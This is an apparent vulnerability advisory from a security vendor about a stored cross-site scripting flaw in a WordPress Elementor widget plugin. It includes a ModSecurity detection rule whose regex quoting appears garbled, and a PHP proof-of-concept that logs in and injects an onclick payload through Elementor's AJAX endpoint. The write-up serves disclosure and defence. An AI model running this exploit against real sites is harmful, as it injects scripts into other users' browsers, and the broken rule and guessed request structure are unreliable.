Atomic Edge analysis of CVE-2026-1397 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the PQ Addons – Creative Elementor Widgets WordPress plugin. The vulnerability exists in the PQ Section Title widget’s handling of the html_tag parameter. Attackers with contributor-level or higher permissions can inject malicious scripts that execute when other users view a compromised page. The CVSS score of 6.4 (Medium) reflects its network accessibility, low attack complexity, and scope change impact.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping on user-supplied data bound for the html_tag parameter. The CWE-79 classification confirms improper neutralization of input during web page generation. Without a code diff, this conclusion is based on the vulnerability description and the common WordPress pattern where widget attributes are processed via Elementor’s rendering system. The plugin likely accepts the html_tag value from frontend widget controls, stores it in post meta, and later outputs it unsafely during page rendering.
Exploitation requires an authenticated user with at least contributor-level access. The attacker would edit or create a post or page using the Elementor page builder. They would add the vulnerable PQ Section Title widget to the layout. Within the widget’s settings panel, the attacker would inject a malicious payload into the field controlling the html_tag attribute. A typical payload would close the intended HTML tag and append an event handler, such as `h1 onclick=alert(document.domain)`. Upon saving the post, the payload is stored. The script executes in the browsers of any user who views the published page.
Remediation requires implementing proper output escaping or input sanitization. The fix should ensure any user-controlled value for the html_tag parameter is validated against a strict allowlist of safe HTML tags (like h1, h2, span). Alternatively, the plugin must apply proper escaping functions, such as `esc_attr()` when outputting the attribute value in the frontend HTML. WordPress core functions like `sanitize_key()` or `sanitize_html_class()` could also be used if the parameter expects a specific format.
The impact of successful exploitation includes session hijacking, defacement, and malicious redirects. An attacker with contributor access can inject scripts that execute with the privileges of visiting administrators. This can lead to administrative account takeover, backdoor installation, or data exfiltration from user sessions. The stored nature amplifies the impact, as the payload triggers for all future page visitors without further attacker interaction.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1397 (metadata-based)
# This rule targets the likely AJAX endpoint used by Elementor to save widget data.
# It matches requests to the Elementor AJAX handler containing the vulnerable widget type and a malicious html_tag parameter.
# The rule uses regex to detect common XSS payload patterns within the nested JSON structure.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261397,phase:2,deny,status:403,chain,msg:'CVE-2026-1397 via PQ Addons Elementor Widgets AJAX',severity:'CRITICAL',tag:'CVE-2026-1397',tag:'wordpress',tag:'xss'"
SecRule ARGS_POST:action "@streq elementor_ajax" "chain"
SecRule REQUEST_BODY "@rx "widgetType"s*:s*"pq-section-title"" "chain"
SecRule REQUEST_BODY "@rx "html_tag"s*:s*"[^"]*[<>'"()=]"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1397 - PQ Addons – Creative Elementor Widgets <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Widget Attributes
<?php
/**
* Proof of Concept for CVE-2026-1397.
* This script simulates an authenticated attacker injecting an XSS payload into the PQ Section Title widget.
* Assumptions:
* 1. The target site uses the vulnerable plugin (peacefulqode-elementzplus-widgets <= 1.0.0).
* 2. The attacker has valid contributor-level credentials.
* 3. The Elementor page builder is active and the PQ Section Title widget is available.
* 4. The exploit flow mimics the actual Elementor frontend AJAX save mechanism.
* Since the exact AJAX endpoint and parameter structure are not confirmed from code, this PoC outlines the logical attack steps.
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Step 1: Authenticate and obtain WordPress nonce and cookies.
// Elementor editing requires a valid REST API nonce (wp_rest) and editor nonce.
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
// Step 2: Fetch the Elementor editor page for a new post to obtain necessary nonces.
// Contributor users can create posts. We target post ID 0 for a new draft.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=post');
curl_setopt($ch, CURLOPT_HTTPGET, 1);
$response = curl_exec($ch);
// Extract nonces from the page. In a real scenario, we would parse the HTML for `window.elementorCommonConfig` or `elementorEditorConfig`.
// This is a placeholder regex for demonstration. The actual nonce key may be 'elementor_ajax', 'wp_rest', or a plugin-specific nonce.
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $nonce_matches);
$editor_nonce = $nonce_matches[1] ?? '';
// Step 3: Craft the malicious payload for the html_tag parameter.
// The payload closes the intended tag and adds an onclick handler.
$malicious_html_tag = 'h1 onclick=alert(`Atomic Edge XSS: `+document.domain) ';
// Step 4: Simulate saving the post with the malicious widget data via Elementor's AJAX endpoint.
// The exact AJAX action is unknown but likely follows the pattern 'elementor_ajax' or a plugin-specific handler.
// The payload structure would mirror Elementor's widget save data.
$ajax_payload = array(
'action' => 'elementor_ajax',
'actions' => json_encode(array(
'save_builder' => array(
'data' => array(
'post_id' => 0, // New post; in reality, the server would assign an ID.
'elements' => array(
array(
'id' => 'some_element_id',
'elType' => 'widget',
'widgetType' => 'pq-section-title', // Inferred widget type.
'settings' => array(
'html_tag' => $malicious_html_tag,
// Other required widget settings would be here.
)
)
)
),
'editor_post_id' => 0,
'nonce' => $editor_nonce
)
))
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_payload));
$ajax_response = curl_exec($ch);
// Step 5: Verify the payload was stored by fetching the created post.
// If the post ID is known, we could request it directly.
// For this PoC, we output the AJAX response.
echo "AJAX Response: " . $ajax_response . "n";
curl_close($ch);
// Note: This PoC is illustrative. A real exploit would require precise knowledge of the Elementor save data structure and nonce handling.
// The vulnerability is confirmed exploitable via the WordPress admin interface as described.
?>